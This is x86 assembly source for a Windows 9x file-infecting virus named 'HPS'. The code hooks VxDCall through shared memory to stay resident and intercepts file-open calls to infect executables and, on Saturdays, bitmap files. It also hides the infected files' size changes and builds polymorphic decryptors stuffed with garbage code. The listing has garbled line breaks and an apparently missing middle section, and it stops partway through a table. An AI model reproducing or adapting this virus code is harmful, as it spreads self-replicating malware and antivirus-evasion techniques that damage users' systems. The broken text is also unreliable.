HPS virus
.386P
locals
jumps
.model flat,STDCALL
;Include the following files
include Win32api.inc
include Useful.inc
include Mz.inc
include Pe.inc
;Some externals only used on 1st generation
extrn ExitProcess:NEAR
extrn MessageBoxA:NEAR
;Virus equates
mem_size equ mem_end-mem_base ;Size of virus in
memory
inf_size equ inf_end-mem_base ;Size of virus in
files
base_default equ 00400000h ;Default host base
address
page_mem_size equ (mem_size+ / ;Virus in memory
inf_size+ / ;Virus copy for
infections
poly_max_size+ / ;Poly decryptor
0FFFh)/1000h ;Size in memory pages
page_align equ 10000h ;Page allocation
alignment
SIZE_PADDING equ 00000065h ;Mark for infected
files
;Some equates stolen from VMM.h
PR_PRIVATE EQU 80000400h
PR_SHARED EQU 80060000h
PR_SYSTEM EQU 80080000h
PR_FIXED EQU 00000008h
PR_4MEG EQU 00000001h
PR_STATIC EQU 00000010h
PD_ZEROINIT EQU 00000001h
PD_NOINIT EQU 00000002h
PD_FIXEDZERO EQU 00000003h
PD_FIXED EQU 00000004h
PC_FIXED EQU 00000008h
PC_LOCKED EQU 00000080h
PC_LOCKEDIFDP EQU 00000100h
PC_WRITEABLE EQU 00020000h
PC_USER EQU 00040000h
PC_INCR EQU 40000000h
PC_PRESENT EQU 80000000h
PC_STATIC EQU 20000000h
PC_DIRTY EQU 08000000h
PCC_ZEROINIT EQU 00000001h
PCC_NOLIN EQU 10000000h
_TEXT segment dword use32 public 'CODE'
host_entry: xor ebp,ebp
call entry_1st_gen
xor eax,eax
push eax
call ExitProcess
_TEXT ends
_DATA segment dword use32 public 'DATA'
_DATA ends
_BSS segment dword use32 public 'BSS'
_BSS ends
virseg segment dword use32 public 'HPS'
mem_base equ this byte
virus_entry: call get_delta ;Get
delta-offset
get_delta: pop ebp ;into ebp and
mov eax,ebp ;host original
sub ebp,offset get_delta ;entry-point
in eax
db 2Dh ;sub eax,xxxx
infected_ep dd 00000000h
db 05h ;add eax,xxxx
original_ep dd 00000000h
push eax
entry_1st_gen: ;Scan memory looking for KERNEL32.dll
;We cando
this without causing protection faults,
;just setup a structured exception handler to trap
faults
;produced by our scan
;Thanks to Jacky Qwerty for this piece of code
pushad
try_01: mov eax,080000101h
call IGetK32BaseAddr
jecxz try_02
jmp kernel_found
try_02: mov eax,0C0000101h
call IGetK32BaseAddr
jecxz try_03
jmp kernel_found
try_03: xor eax,eax
call IGetK32BaseAddr
kernel_found: mov dword ptr [esp.Pushad_ebx],ecx
popad
or ebx,ebx
jz init_error
mov eax,dword ptr [ebx+IMAGE_DOS_HEADER.MZ_lfanew]
add eax,ebx
mov edi,dword ptr [eax+NT_OptionalHeader. /
OH_DirectoryEntries. /
DE_Export. /
DD_VirtualAddress]
add edi,ebx
mov esi,dword ptr [edi+ED_AddressOfFunctions]
add esi,ebx
xor edx,edx
address_loop: cmp edx,dword ptr [edi+ED_NumberOfFunctions]
jae init_error
mov ecx,00000008h-01h
function_loop: inc edx
lodsd
cmp eax,dword ptr [esi]
jne address_loop
loop function_loop
add eax,ebx
mov dword ptr [ebp+a_VxDCall],eax ;VxDCall found
;At this point we know how to call VxDCall api
;So we can use our int21h dispatcher to perform
;the residency check
mov eax,00002A00h
mov esi,"HPS!"
mov edi,"TSR?"
call my_int21h
cmp esi,"YES!"
je init_error
;Check if time to activate our payload
xor ecx,ecx
cmp al,06h ;Saturday?
jne activation_end
inc ecx
activation_end: mov dword ptr [ebp+bmp_active],ecx
;Well... Now lets use VxDCall to allocate some
;shared memory
;This memory will stay there after host termination
;and will be visible to all running processes
push PC_WRITEABLE or PC_USER
push page_mem_size ;# of pages
push PR_SHARED
PUSH 00010000h ;Call to
_PageReserve
call dword ptr [ebp+a_VxDCall] ;VxDCall0
cmp eax,0FFFFFFFFh ;Success?
je init_error
cmp eax,80000000h ;In shared
memory?
jb free_pages
mov dword ptr [ebp+mem_address],eax ;Save linnear
address
push PC_WRITEABLE or PC_USER or PC_PRESENT or PC_FIXED
push 00000000h
push PD_ZEROINIT
push page_mem_size ;# of pages
shr eax,0Ch ;Linnear page
number
push eax
push 00010001h ;Call to
_PageCommit
call dword ptr [ebp+a_VxDCall] ;VxDCall0
or eax,eax
je free_pages
commit_success: mov eax,dword ptr [ebp+mem_address] ;Point eax to
our
add eax,VxDCall_code-mem_base ;hook
procedure
mov dword ptr [ebp+ptr_location],eax ;Setup far jmp
mov dword ptr [ebp+hook_status],"FREE" ;Clear busy
flag
mov esi,dword ptr [ebp+a_VxDCall] ;VxDCall
entry-point
mov ecx,00000100h ;Explore 0100h
bytes
trace_VxDCall: lodsb
cmp al,2Eh
jne trace_next
cmp word ptr [esi],1DFFh
je get_int30h
trace_next: loop trace_VxDCall
free_pages: xor eax,eax
push eax
push dword ptr [ebp+mem_address]
push 0001000Ah ;Call to
_PageFree
call dword ptr [ebp+a_VxDCall] ;VxDCall0
jmp init_error
get_int30h: ;Before setting our hook lets generate one polymorphic
;decryptor... We will use this decryptor for each file
;infection... This is also known as slow-mutation
call mutate ;Generate
decryptor
;Now we have all the necesary information to hook
Windows
;calls to VxDCall function
;Save the 16:32 pointer to INT 30h instruction and
;overwrite it with the address of our hook procedure
cli
lodsw ;Skip FF 1D
opcodes
lodsd ;Get ptr to
INT 30h
push eax
mov esi,eax
mov edi,dword ptr [ebp+mem_address]
add edi,VxDCall_code-mem_base
mov ecx,00000006h
rep movsb
pop edi
mov eax,dword ptr [ebp+mem_address]
add eax,VxDCall_hook-mem_base
stosd
mov ax,cs ;Overwrite far
ptr
stosw
sti
init_error: lea ebp,dword ptr [esp+0000013Ch-00000004h]
ret
SEH_ExcptBlock macro
add esp,-cPushad
jnz GK32BA_L1
endm
IGetK32BaseAddr: @SEH_SetupFrame <SEH_ExcptBlock>
mov ecx,edx
xchg ax,cx
GK32BA_L0: dec cx
jz GK32BA_L2
add eax,-10000h
pushad
mov bx,-IMAGE_DOS_SIGNATURE
add bx,[eax]
mov esi,eax
jnz GK32BA_L1
mov ebx,-IMAGE_NT_SIGNATURE
add eax,[esi.MZ_lfanew]
mov edx,esi
add ebx,[eax]
jnz GK32BA_L1
add edx,[eax.NT_OptionalHeader.OH_DirectoryEntries /
.DE_Export.DD_VirtualAddress]
cld
add esi,[edx.ED_Name]
lodsd
and eax,not 20202020h
add eax,-'NREK'
jnz GK32BA_L1
lodsd
or ax,2020h
add eax,-'23le'
jnz GK32BA_L1
lodsb
xor ah,al
jz GK32BA_L1
add al,-'.'
lodsd
jnz GK32BA_L1
and eax,not 202020h
add eax,-'LLD'
GK32BA_L1: popad
jnz GK32BA_L0
xchg ecx,eax
inc eax
GK32BA_L2: @SEH_RemoveFrame
ret
include excpt.inc
VxDCall_hook: pushad
call mem_delta ;Get
mem_delta: pop ebp ;delta offset
sub ebp,offset mem_delta
cmp dword ptr [ebp+hook_status],"BUSY" ;Dont process
our
je exit_hook ;own calls
cmp eax,002A0010h ;VWIN32 VxD
int 21h?
jne exit_hook
mov eax,dword ptr [esp+0000002Ch]
cmp ax,2A00h ;Get system
je tsr_check
cmp ax,3D00h ;Open file
je infection_edx
cmp ax,3D01h ;Open file
je infection_edx ;read/write?
cmp ax,7143h ;X-Get/set
je infection_edx
cmp ax,714Eh ;LFN find
je stealth
cmp ax,714Fh ;LFN find next
je stealth
cmp ax,7156h ;LFN rename
je infection_edx
cmp ax,716Ch ;LFN extended
je infection_esi
cmp ax,71A8h ;Generate
je infection_esi
exit_hook: popad
do_far_jmp: ;Do a jmp fword ptr cs:[xxxxxxxx] into original code
db 2Eh,0FFh,2Dh
ptr_location dd 00000000h
tsr_check: cmp esi,"HPS!" ;Is our tsr
check?
jne exit_hook
cmp edi,"TSR?"
jne exit_hook
popad
mov esi,"YES!" ;Already
resident
jmp shortdo
_far_jmp
stealth: mov eax,dword ptr [esp+00000028h] ;Save return
address
mov dword ptr [ebp+stealth_ret],eax
lea eax,dword ptr [ebp+api_ret] ;Set new ret
address
mov dword ptr [esp+00000028h],eax
mov dword ptr [ebp+find_data],edi ;Save
ptr2FindData
jmp exit_hook
api_ret: ;As result of the above code we will get control after
;int21h FindFirst or FindNext funcions
jc back2caller ;Exit if fail
pushad ;Save all
registers
call stealth_delta ;Delta offset
used
stealth_delta: pop ebp ;in stealth
routines
sub ebp,offset stealth_delta
db 0BFh ;mov edi,ptr
FindData
find_data dd 00000000h
xor eax,eax
cmp dword ptr [edi+WFD_nFileSizeHigh],eax
jne stealth_done
mov eax,dword ptr [edi+WFD_nFileSizeLow]
mov ecx,SIZE_PADDING
xor edx,edx
div ecx
or edx,edx
jnz stealth_done
lea esi,dword ptr [edi+WFD_szFileName] ;Ptr to
filename
push esi
call check_filename
pop esi
jc stealth_done
mov dword ptr [ebp+hook_status],"BUSY" ;Set busy flag
mov eax,0000716Ch ;LFN Ext
Open/Create
xor ebx,ebx ;Read
xor ecx,ecx ;Attribute
normal
xor edx,edx
inc edx ;Open existing
call my_int21h
jc stealth_done
mov ebx,eax
mov edx,dword ptr [edi+WFD_nFileSizeLow]
sub edx,00000004h
call seek_here
jc close_stealth
mov eax,00003F00h ;Read bytes
written
mov ecx,00000004h
lea edx,dword ptr [ebp+stealth_this]
call my_int21h
jc close_stealth
mov eax,dword ptr [ebp+stealth_this]
sub dword ptr [edi+WFD_nFileSizeLow],eax
close_stealth: mov eax,00003E00h ;Close file
call my_int21h
stealth_done: mov dword ptr [ebp+hook_status],"FREE" ;Clear busy
flag
popad ;Save all
registers
clc ;Return no
error
back2caller: push eax
push eax
db 0B8h ;Load eax with
the
stealth_ret dd 00000000h ;return
address
mov dword ptr [esp+00000004h],eax
pop eax
ret
infection_edx: mov esi,edx
infection_esi: mov dword ptr [ebp+hook_status],"BUSY" ;Set busy flag
call check_filename
jc exit_infection
mov dword ptr [ebp+ptr_filename],edx
mov esi,edx
xor ecx,ecx
cld
name_checksum: xor eax,eax
lodsb
or al,al
jz got_checksum
add ecx,eax
jmp short name_checksum
got_checksum: cmp dword ptr [ebp+last_checksum],ecx
je exit_infection
mov dword ptr [ebp+last_checksum],ecx
mov eax,00007143h ;LFN Ext
xor ebx,ebx ;Retrieve
lea edx,dword ptr [ebp+target_filename] ;Ptr to
call my_int21h
jc exit_infection
mov dword ptr [ebp+file_attrib],ecx ;Save original
mov eax,00007143h ;LFN Ext
mov bl,01h ;Set file
xor ecx,ecx ;Clear all
lea edx,dword ptr [ebp+target_filename] ;Ptr to
call my_int21h
jc exit_infection
mov eax,00007143h ;LFN Ext
mov bl,04h ;Retrieve last w
lea edx,dword ptr [ebp+target_filename] ;Ptr to
call my_int21h
jc exit_infection
mov dword ptr [ebp+file_time],ecx ;Save original
mov dword ptr [ebp+file_date],edi ;Save original
mov eax,0000716Ch ;LFN Ext
mov ebx,00000002h ;Read/Write
xor ecx,ecx ;Attribute
mov edx,00000001h ;Open existing
lea esi,dword ptr [ebp+target_filename] ;Ptr to
call my_int21h
jc exit_infection
mov ebx,eax
mov eax,00003F00h ;Read MsDos
mov ecx,IMAGE_SIZEOF_DOS_HEADER ;or bitmap
lea edx,dword ptr [ebp+msdos_header] ;header
call my_int21h
jc close_file
cmp word ptr [ebp+msdos_header],IMAGE_DOS_SIGNATURE
je executable
xor eax,eax
cmp dword ptr [ebp+bmp_active],eax
je close_file
cmp word ptr [ebp+msdos_header],"MB"
jne close_file
cmp dword ptr [ebp+msdos_header+0000001Ah],00080001h
jne close_file
;Skip .BMP files that use compression
xor eax,eax
cmp dword ptr [ebp+msdos_header+0000001Eh],eax
jne close_file
;Check bitmap size in bytes
mov eax,dword ptr [ebp+msdos_header+00000012h]
mov ecx,dword ptr [ebp+msdos_header+00000016h]
mul ecx
cmp eax,dword ptr [ebp+msdos_header+00000022h]
jne close_file
call seek_eof
cmp dword ptr [ebp+msdos_header+00000002h],eax
jne close_file
add eax,00000FFFh
xor edx,edx
mov ecx,00001000h
div ecx
mov dword ptr [ebp+bmp_pages],eax
push ebx
push PC_WRITEABLE or PC_USER
push eax ;# of pages
push PR_SYSTEM
PUSH 00010000h ;Call to
_PageReserve
call dword ptr [ebp+a_VxDCall] ;VxDCall0
pop ebx
cmp eax,0FFFFFFFFh ;Success?
je close_file
mov dword ptr [ebp+bmp_address],eax ;Save linnear
push ebx
push PC_WRITEABLE or PC_USER
push 00000000h
push PD_ZEROINIT
push dword ptr [ebp+bmp_pages] ;# of pages
shr eax,0Ch ;Linnear page
push eax
push 00010001h ;Call to
_PageCommit
call dword ptr [ebp+a_VxDCall] ;VxDCall0
pop ebx
or eax,eax
je free_bmp_mem
call seek_bof ;Return to bof
jc close_file
mov eax,00003F00h ;Read the
mov ecx,dword ptr [ebp+msdos_header+00000002h]
mov edx,dword ptr [ebp+bmp_address]
call my_int21h
jc free_bmp_mem
mov eax,dword ptr [ebp+bmp_address]
mov esi,dword ptr [eax+0000000Ah]
add esi,eax
cmp dword ptr [esi],0DEADBABEh ;Already
je free_bmp_mem
push esi
push edi
mov ecx,SIZE_PADDING
call rnd_fill
pop edi
;Decryptordo
ne, save its size
pop eax
sub dword ptr [ebp+entry_point],eax
sub edi,eax
mov dword ptr [ebp+decryptor_size],edi
;Copy virus body to our buffer
lea esi,dword ptr [ebp+mem_base]
mov edi,dword ptr [ebp+mem_address]
mov ecx,mem_size
rep movsb
popad
ret
scramble_virus: lea esi,dword ptr [ebp+mem_base]
lea edi,dword ptr [esi+mem_size]
push edi
mov ecx,inf_size
cld
rep movsb
call fixed_size2ecx
pop edi
loop_hide_code: push ecx
mov eax,dword ptr [edi]
call perform_crypt
xor ecx,ecx
mov cl,byte ptr [ebp+oper_size]
loop_copy_res: stosb
shr eax,08h
loop loop_copy_res
pop ecx
loop loop_hide_code
ret
perform_crypt: ;This buffer will contain the code to "crypt" the
virus code
;followed by a RET instruction
db 10h dup (90h)
gen_get_delta: ;Lets generate polymorphic code for the following
pseudocode:
mov al,0E8h
stosb
;Let space for the address to call
stosd
mov dword ptr [ebp+delta_call],edi
push edi
;Generate some random data
call gen_rnd_block
;Get displacement from CALL instruction to destination
;address
mov eax,edi
pop esi
sub eax,esi
;Put destination address after CALL opcode
mov dword ptr [esi-00000004h],eax
call gen_garbage
mov al,58h
or al,byte ptr [ebp+index_mask]
stosb
call gen_garbage
;Make needed fixes to point index to start or end of
;encrypted code
mov eax,dword ptr [ebp+mem_address]
add eax,mem_size
add eax,dword ptr [ebp+ptr_disp]
sub eax,dword ptr [ebp+delta_call]
test byte ptr [ebp+build_flags],CRYPT_DIRECTION
jz fix_dir_ok
;Direction is from top to bottom
push eax
call fixed_size2ecx
xor eax,eax
mov al,byte ptr [ebp+oper_size]
push eax
mul ecx
pop ecx
sub eax,ecx
pop ecx
add eax,ecx
fix_dir_ok: push eax
;Fix using ADD or SUB?
call get_rnd32
and al,01h
jz fix_with_sub
fix_with_add: ;Generate ADD reg_index,fix_value
mov ax,0C081h
or ah,byte ptr [ebp+index_mask]
stosw
pop eax
jmp short fix_done
fix_with_sub: ;Generate SUB reg_index,-fix_value
mov ax,0E881h
or ah,byte ptr [ebp+index_mask]
stosw
pop eax
neg eax
fix_done: stosd
ret
gen_load_ctr: ;Easy now, just move counter random initial value
;into counter reg and calculate the end value
mov al,0B8h
or al,byte ptr [ebp+counter_mask]
stosb
call fixed_size2ecx
call get_rnd32
stosd
test byte ptr [ebp+build_flags],CRYPT_CDIR
jnz counter_down
counter_up: add eax,ecx
jmp shortdo
ne_ctr_dir
counter_down: sub eax,ecx
done_ctr_dir: mov dword ptr [ebp+end_value],eax
ret
gen_decrypt: ;Check if we are going to use a displacement in the
;indexing mode
mov eax,dword ptr [ebp+ptr_disp]
or eax,eax
jnz more_complex
;Choose generator for [reg] indexing mode
mov edx,offset tbl_idx_reg
call choose_magic
jmp you_got_it
more_complex: ;More fun?!?!
mov al,byte ptr [ebp+build_flags]
test al,CRYPT_SIMPLEX
jnz crypt_xtended
;Choose generator for [reg+imm] indexing mode
mov edx,offset tbl_dis_reg
call choose_magic
you_got_it: ;Use magic to convert some values into
;desired instructions
call size_correct
mov dl,byte ptr [ebp+index_mask]
lodsb
or al,al
jnz adn_reg_01
cmp dl,00000101b
je adn_reg_02
adn_reg_01: lodsb
or al,dl
stosb
jmp common_part
adn_reg_02: lodsb
add al,45h
xor ah,ah
stosw
jmp common_part
crypt_xtended: ;Choose [reg+reg] or [reg+reg+disp]
test al,CRYPT_COMPLEX
jz ok_complex
;Get random displacement from current displacement
;eeehh?!?
mov eax,00000010h
call get_rnd_range
mov dword ptr [ebp+disp2disp],eax
call load_aux
push ebx
call gen_garbage
;Choose generator for [reg+reg+imm] indexing mode
mov edx,offset tbl_paranoia
call choose_magic
jmp shortdo
ne_xtended
ok_complex: mov eax,dword ptr [ebp+ptr_disp]
call load_aux
push ebx
call gen_garbage
;Choose generator for [reg+reg] indexing mode
mov edx,offset tbl_xtended
call choose_magic
done_xtended: ;Build decryptor instructions
call size_correct
pop ebx
mov dl,byte ptr [ebp+index_mask]
lodsb
mov cl,al
or al,al
jnz arn_reg_01
cmp dl,00000101b
jne arn_reg_01
lodsb
add al,40h
stosb
jmp short arn_reg_02
arn_reg_01: movsb
arn_reg_02: mov al,byte ptr [ebx+REG_MASK]
shl al,03h
or al,dl
stosb
or cl,cl
jnz arn_reg_03
cmp dl,00000101b
jne arn_reg_03
xor al,al
stosb
arn_reg_03: ;Restore aux reg state
xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY
common_part: ;Get post-build flags
lodsb
;Insert displacement from real address?
test al,MAGIC_PUTDISP
jz skip_disp
push eax
mov eax,dword ptr [ebp+ptr_disp]
sub eax,dword ptr [ebp+disp2disp]
neg eax
stosd
pop eax
skip_disp: ;Insert key?
test al,MAGIC_PUTKEY
jz skip_key
call copy_key
skip_key: ;Generate reverse code
calldo
_reverse
ret
choose_magic: mov eax,00000006h
call get_rnd_range
add edx,ebp
lea esi,dword ptr [edx+eax*04h]
lodsd
add eax,ebp
mov esi,eax
ret
size_correct: lodsb
mov ah,byte ptr [ebp+oper_size]
cmp ah,01h
je store_correct
inc al
cmp ah,04h
je store_correct
mov ah,66h
xchg ah,al
stosw
ret
store_correct: stosb
ret
load_aux: ;Get a valid auxiliary register
push eax
call get_valid_reg
or byte ptr [ebx+REG_FLAGS],REG_READ_ONLY
;Move displacement into aux reg
mov al,0B8h
or al,byte ptr [ebx+REG_MASK]
stosb
pop eax
neg eax
stosd
ret
do_reverse: xor eax,eax
mov al,byte ptr [ebp+oper_size]
shr eax,01h
shl eax,02h
add esi,eax
lodsd
add eax,ebp
mov esi,eax
push edi
lea edi,dword ptr [ebp+perform_crypt]
loop_string: lodsb
cmp al,MAGIC_ENDSTR
je end_of_magic
cmp al,MAGIC_ENDKEY
je last_spell
xor ecx,ecx
mov cl,al
rep movsb
jmp short loop_string
last_spell: call copy_key
end_of_magic: mov al,0C3h
stosb
pop edi
ret
copy_key: mov eax,dword ptr [ebp+crypt_key]
xor ecx,ecx
mov cl,byte ptr [ebp+oper_size]
loop_key: stosb
shr eax,08h
loop loop_key
ret
gen_next_step: ;Get number of bytes to inc or dec the index reg
xor ecx,ecx
mov cl,byte ptr [ebp+oper_size]
loop_update: ;Get number of bytes to update with this instruction
mov eax,ecx
call get_rnd_range
inc eax
;Check direction
test byte ptr [ebp+build_flags],CRYPT_DIRECTION
jnz step_down
calldo
_step_up
jmp short next_update
step_down: calldo
_step_down
next_update: sub ecx,eax
jecxz end_update
jmp short loop_update
end_update: ret
do_step_up: ;Move index_reg up
or eax,eax
jz up_with_inc
;Now choose ADD or SUB
push eax
call get_rnd32
and al,01h
jnz try_sub_1
try_add_1: mov ax,0C081h
or ah,byte ptr [ebp+index_mask]
stosw
pop eax
stosd
ret
try_sub_1: mov ax,0E881h
or ah,byte ptr [ebp+index_mask]
stosw
pop eax
neg eax
stosd
neg eax
ret
up_with_inc: ;Generate INC reg_index
mov al,40h
or al,byte ptr [ebp+index_mask]
stosb
mov eax,00000001h
ret
do_step_down: ;Move index_regdo
wn
or eax,eax
jzdo
wn_with_dec
;Now choose ADD or SUB
push eax
call get_rnd32
and al,01h
jnz try_sub_2
try_add_2: mov ax,0C081h
or ah,byte ptr [ebp+index_mask]
stosw
pop eax
neg eax
stosd
neg eax
ret
try_sub_2: mov ax,0E881h
or ah,byte ptr [ebp+index_mask]
stosw
pop eax
stosd
ret
down_with_dec: ;Generate DEC reg_index
mov al,48h
or al,byte ptr [ebp+index_mask]
stosb
mov eax,00000001h
ret
gen_next_ctr: ;Check counter direction and update counter
;using a INC or DEC instruction
test byte ptr [ebp+build_flags],CRYPT_CDIR
jnz upd_ctr_down
upd_ctr_up: mov al,40h
or al,byte ptr [ebp+counter_mask]
jmp short upd_ctr_ok
upd_ctr_down: mov al,48h
or al,byte ptr [ebp+counter_mask]
upd_ctr_ok: stosb
ret
gen_loop: ;Use counter reg in CMP instruction?
test byte ptr [ebp+build_flags],CRYPT_CMPCTR
jnzdo
loopauxreg
;Generate CMP counter_reg,end_value
mov ax,0F881h
or ah,byte ptr [ebp+counter_mask]
stosw
mov eax,dword ptr [ebp+end_value]
stosd
jmpdo
loopready
doloopauxreg: ;Get a random valid register to use in a CMP
instruction
call get_valid_reg
or byte ptr [ebx+REG_FLAGS],REG_READ_ONLY
;Move index reg value into aux reg
mov ah,byte ptr [ebx+REG_MASK]
shl ah,03h
or ah,byte ptr [ebp+counter_mask]
or ah,0C0h
mov al,8Bh
stosw
;Guess what!?
push ebx
call gen_garbage
pop ebx
;Generate CMP aux_reg,end_value
mov ax,0F881h
or ah,byte ptr [ebx+REG_MASK]
stosw
mov eax,dword ptr [ebp+end_value]
stosd
;Restore aux reg state
xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY
doloopready: ;Generate conditional jump
call get_rnd32
and al,01h
jnzdo
loopdown
doloopup: mov ax,850Fh
stosw
mov eax,dword ptr [ebp+loop_point]
sub eax,edi
sub eax,00000004h
stosd
call gen_garbage
;Insert a jump to virus code
mov al,0E9h
stosb
mov eax,dword ptr [ebp+mem_address]
add eax,mem_size-00000004h
sub eax,edi
stosd
ret
doloopdown: ;...or may be this other structure:
;
;
loop_point:
;
...
;
cmp reg,x
;
je virus
;
...
;
jmp loop_point
;
...
mov ax,840Fh
stosw
mov eax,dword ptr [ebp+mem_address]
add eax,mem_size-00000004h
sub eax,edi
stosd
call gen_garbage
;Insert a jump to loop point
mov al,0E9h
stosb
mov eax,dword ptr [ebp+loop_point]
sub eax,edi
sub eax,00000004h
stosd
ret
gen_garbage: ;More recursive levels allowed?
push esi
inc byte ptr [ebp+recursive_level]
cmp byte ptr [ebp+recursive_level],04h
jae exit_gg
;Choose garbage generator
mov eax,00000004h
call get_rnd_range
inc eax
mov ecx,eax
loop_garbage: push ecx
mov eax,(end_garbage-tbl_garbage)/04h
call get_rnd_range
lea esi,dword ptr [ebp+tbl_garbage+eax*04h]
lodsd
add eax,ebp
call eax
pop ecx
loop loop_garbage
;Update recursive level
exit_gg: dec byte ptr [ebp+recursive_level]
pop esi
ret
g_movreg32imm: ;Generate MOV reg32,imm
call get_valid_reg
mov al,0B8h
or al,byte ptr [ebx+REG_MASK]
stosb
call get_rnd32
stosd
ret
g_movreg16imm: ;Generate MOV reg16,imm
call get_valid_reg
mov ax,0B866h
or ah,byte ptr [ebx+REG_MASK]
stosw
call get_rnd32
stosw
ret
g_movreg8imm: ;Generate MOV reg8,imm
call get_valid_reg
test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
jnz a_movreg8imm
call get_rnd32
mov al,0B0h
or al,byte ptr [ebx+REG_MASK]
push eax
call get_rnd32
pop edx
and ax,0004h
or ax,dx
stosw
a_movreg8imm: ret
g_movregreg32: call get_rnd_reg
push ebx
call get_valid_reg
pop edx
cmp ebx,edx
je a_movregreg32
c_movregreg32: mov ah,byte ptr [ebx+REG_MASK]
shl ah,03h
or ah,byte ptr [edx+REG_MASK]
or ah,0C0h
mov al,8Bh
stosw
a_movregreg32: ret
g_movregreg16: call get_rnd_reg
push ebx
call get_valid_reg
pop edx
cmp ebx,edx
je a_movregreg32
mov al,66h
stosb
jmp short c_movregreg32
g_movregreg8: call get_rnd_reg
test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
jnz a_movregreg8
push ebx
call get_valid_reg
pop edx
test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
jnz a_movregreg8
cmp ebx,edx
je a_movregreg8
mov ah,byte ptr [ebx+REG_MASK]
shl ah,03h
or ah,byte ptr [edx+REG_MASK]
or ah,0C0h
mov al,8Ah
push eax
call get_rnd32
pop edx
and ax,2400h
or ax,dx
stosw
a_movregreg8: ret
g_movzx_movsx: call get_rnd32
mov ah,0B7h
and al,01h
jz d_movzx
mov ah,0BFh
d_movzx: mov al,0Fh
stosw
call get_rnd_reg
push ebx
call get_valid_reg
pop edx
mov al,byte ptr [ebx+REG_MASK]
shl al,03h
or al,0C0h
or al,byte ptr [edx+REG_MASK]
stosb
ret
g_mathregimm32: mov al,81h
stosb
call get_valid_reg
calldo
_math_work
stosd
ret
g_mathregimm16: mov ax,8166h
stosw
call get_valid_reg
calldo
_math_work
stosw
ret
g_mathregimm8: call get_valid_reg
test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
jnz a_math8
mov al,80h
stosb
calldo
_math_work
stosb
and ah,04h
or byte ptr [edi-00000002h],ah
a_math8: ret
do_math_work: mov eax,end_math_imm-tbl_math_imm
call get_rnd_range
lea esi,dword ptr [ebp+eax+tbl_math_imm]
lodsb
or al,byte ptr [ebx+REG_MASK]
stosb
call get_rnd32
ret
g_push_g_pop: ;Note that garbage generator can call itself in a
;recursive way, so structures like the following
;example can be produced
;
;
push reg_1
;
...
;
push reg_2
;
...
;
pop reg_2
;
...
;
pop reg_1
;
call get_rnd_reg
mov al,50h
or al,byte ptr [ebx+REG_MASK]
stosb
call gen_garbage
call get_valid_reg
mov al,58h
or al,byte ptr [ebx+REG_MASK]
stosb
ret
g_call_cont: mov al,0E8h
stosb
push edi
stosd
call gen_rnd_block
pop edx
mov eax,edi
sub eax,edx
sub eax,00000004h
mov dword ptr [edx],eax
call gen_garbage
call get_valid_reg
mov al,58h
or al,byte ptr [ebx+REG_MASK]
stosb
ret
g_jump_u: mov al,0E9h
stosb
push edi
stosd
call gen_rnd_block
pop edx
mov eax,edi
sub eax,edx
sub eax,00000004h
mov dword ptr [edx],eax
ret
g_jump_c: call get_rnd32
and ah,0Fh
add ah,80h
mov al,0Fh
stosw
push edi
stosd
call gen_garbage
pop edx
mov eax,edi
sub eax,edx
sub eax,00000004h
mov dword ptr [edx],eax
ret
gen_save_code: mov eax,end_save_code-tbl_save_code
call get_rnd_range
mov al,byte ptr [ebp+tbl_save_code+eax]
stosb
ret
get_rnd_reg: mov eax,00000007h
call get_rnd_range
lea ebx,dword ptr [ebp+tbl_regs+eax*02h]
ret
;Get a ramdom reg (avoid REG_READ_ONLY, REG_IS_COUNTER and
REG_IS_INDEX)
get_valid_reg: call get_rnd_reg
mov al,byte ptr [ebx+REG_FLAGS]
and al,REG_IS_INDEX or REG_IS_COUNTER or REG_READ_ONLY
jnz get_valid_reg
ret
fixed_size2ecx: mov eax,inf_size
xor ecx,ecx
mov cl,byte ptr [ebp+oper_size]
shr ecx,01h
or ecx,ecx
jz ok_2ecx
shr eax,cl
jnc ok_2ecx
inc eax
ok_2ecx: mov ecx,eax
ret
gen_rnd_block: ;Get number of bytes to fill
mov eax,00000010h
call get_rnd_range
add eax,00000005h
mov ecx,eax
rnd_fill: ;Fill a ecx block with random data
cld
rnd_fill_loop: call get_rnd32
stosb
loop rnd_fill_loop
ret
get_rnd32: push ecx
push edx
mov eax,dword ptr [ebp+rnd32_seed]
mov ecx,41C64E6Dh
mul ecx
add eax,00003039h
and eax,7FFFFFFFh
mov dword ptr [ebp+rnd32_seed],eax
pop edx
pop ecx
ret
get_rnd_range: push ecx
push edx
mov ecx,eax
call get_rnd32
xor edx,edx
div ecx
mov eax,edx
pop edx
pop ecx
ret
;Register table
;
;
- Register mask
;
- Register flags
tbl_regs equ this byte
db 00000000b,REG_READ_ONLY ;eax
db 00000011b,00h ;ebx
db 00000001b,00h ;ecx
db 00000010b,00h ;edx
db 00000110b,REG_NO_8BIT ;esi
db 00000111b,REG_NO_8BIT ;edi
db 00000101b,REG_NO_8BIT ;ebp
end_regs equ this byte
;Aliases for reg table structure
REG_MASK equ 00h
REG_FLAGS equ 01h
;Bit aliases for reg flags
REG_IS_INDEX equ 01h ;Register used as main index register
REG_IS_COUNTER equ 02h ;This register is used as loop counter
REG_READ_ONLY equ 04h ;Never modify the value of this
register
REG_NO_8BIT equ 08h ;ESI EDI and EBP havent 8bit version
;Initial reg flags
tbl_startup equ this byte
db REG_READ_ONLY ;eax
db 00h ;ebx
db 00h ;ecx
db 00h ;edx
db REG_NO_8BIT ;esi
db REG_NO_8BIT ;edi
db REG_NO_8BIT ;ebp
;Code thatdo
es not disturb reg values
tbl_save_code equ this byte
clc
stc
cmc
cld
std
end_save_code equ this byte
;Generators for [reg] indexing mode
tbl_idx_reg equ this byte
dd offset xx_inc_reg
dd offset xx_dec_reg
dd offset xx_not_reg
dd offset xx_add_reg
dd offset xx_sub_reg
dd offset xx_xor_reg
;Generators for [reg+imm] indexing mode
tbl_dis_reg equ this byte
dd offset yy_inc_reg
dd offset yy_dec_reg
dd offset yy_not_reg
dd offset yy_add_reg
dd offset yy_sub_reg
dd offset yy_xor_reg
;Generators for [reg+reg] indexing mode
tbl_xtended equ this byte
dd offset zz_inc_reg
dd offset zz_dec_reg
dd offset zz_not_reg
dd offset zz_add_reg
dd offset zz_sub_reg
dd offset zz_xor_reg
;Generators for [reg+reg+imm] indexing mode
tbl_paranoia equ this byte
dd offset ii_inc_reg
dd offset ii_dec_reg
